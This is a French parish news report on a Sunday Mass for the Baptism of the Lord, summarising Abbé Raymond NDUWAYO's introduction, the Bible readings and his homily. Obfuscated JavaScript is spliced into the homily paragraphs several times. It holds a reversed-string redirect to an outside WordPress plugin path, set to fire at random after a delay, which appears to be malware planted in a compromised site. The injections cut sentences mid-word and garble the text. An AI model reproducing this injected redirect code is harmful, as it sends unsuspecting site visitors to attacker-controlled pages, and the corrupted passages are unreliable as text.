Animée par la chorale Saint Martin, la messe de ce dimanche 12 janvier 2020 a été présidée par l’Abbé Raymond NDUWAYO. Celui-ci a  introduit en disant que l’Eglise célèbre le Baptême du Seigneur, laquelle fête clôt le cycle de Noël. Ainsi, le jour suivant commence le temps ordinaire.

En effet, le baptême de Jésus dans le Jourdain constitue, a-t-il poursuivi, la manifestation — « l’épiphanie » — la plus importante, au tout début de la vie publique du Christ. Pour l’Abbé, la célébration du baptême du Seigneur est une occasion qui est offerte aux chrétiens afin de se rappeler de leur baptême, sacrement de la naissance à la vie chrétienne. Devenu chrétien, tout nouveau baptisé est appelé à vivre selon l’Esprit de Dieu et à garder propre son « habit blanc » vêtu le jour de baptême. Il a conclu son introduction en rappelant aux fidèles que le baptême est la clé qui leur ouvre le royaume céleste.

Les Saintes Ecritures ont été tirées du livre du prophète Isaïe (Is 42,1-4.6-7), du livre des Actes des Apôtres (Ac 10, 34-38) et enfin de l’Évangile de Jésus Christ selon saint Matthieu (Mat 3, 13-17).

L’Abbé Raymond NDUWAYO a introduit son homélie par cette question que chaque chrétien peut se poser: est-ce que Jésus avait réellement besoin d’être baptisé par Jean-Baptiste ? Le prédicateur a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné la réponse en précisant que Jésus, en demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andant le baptême de conversion, lui qui est sans péché, pose un geste de solidarité avec les pécheurs. Il exprime de cette manière un choix concernant sa mission, son option préférentielle pour toutes formes de pauvreté, y compris spirituelle, et inaugure ainsi son ministère de serviteur.

Cet abaissement de Jésus, l’Abbé a-t-il poursuivi, aboutit à une manifestation de Dieu trinitaire. Au moment où Jésus s’identifie aux pécheurs, la voix du Père se fit entendre : « Celui-ci est mon Fils bien-aimé ; en lui j’ai mis tout mon amour ». Le baptême du Christ marque encore la révélation décisive de l’habitation de l’Esprit-Saint en Jésus.

Ainsi, le baptême de conversion que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnait Jean-Baptiste, est devenu, avec Jésus, le baptême dans l’eau et Esprit Saint. Jésus veut faire participer tous les êtres humains, sans distinction, à ce que le Père lui a dit : « tu es mon Fils, moi aujourd’hui, je t’ai engendré. »  De cette manière, par le baptême « au nom du Père, et du Fils et du Saint Esprit », toute personne devient l’enfant de Dieu et de l’Eglise Catholique.

Il a conclu son homélie en montrant aux fidèles comment par le sacrement du Baptême l’être humain entre dans le mouvement de la mort et de la résurrection de Jésus Christ.

Germain NAHIMANA

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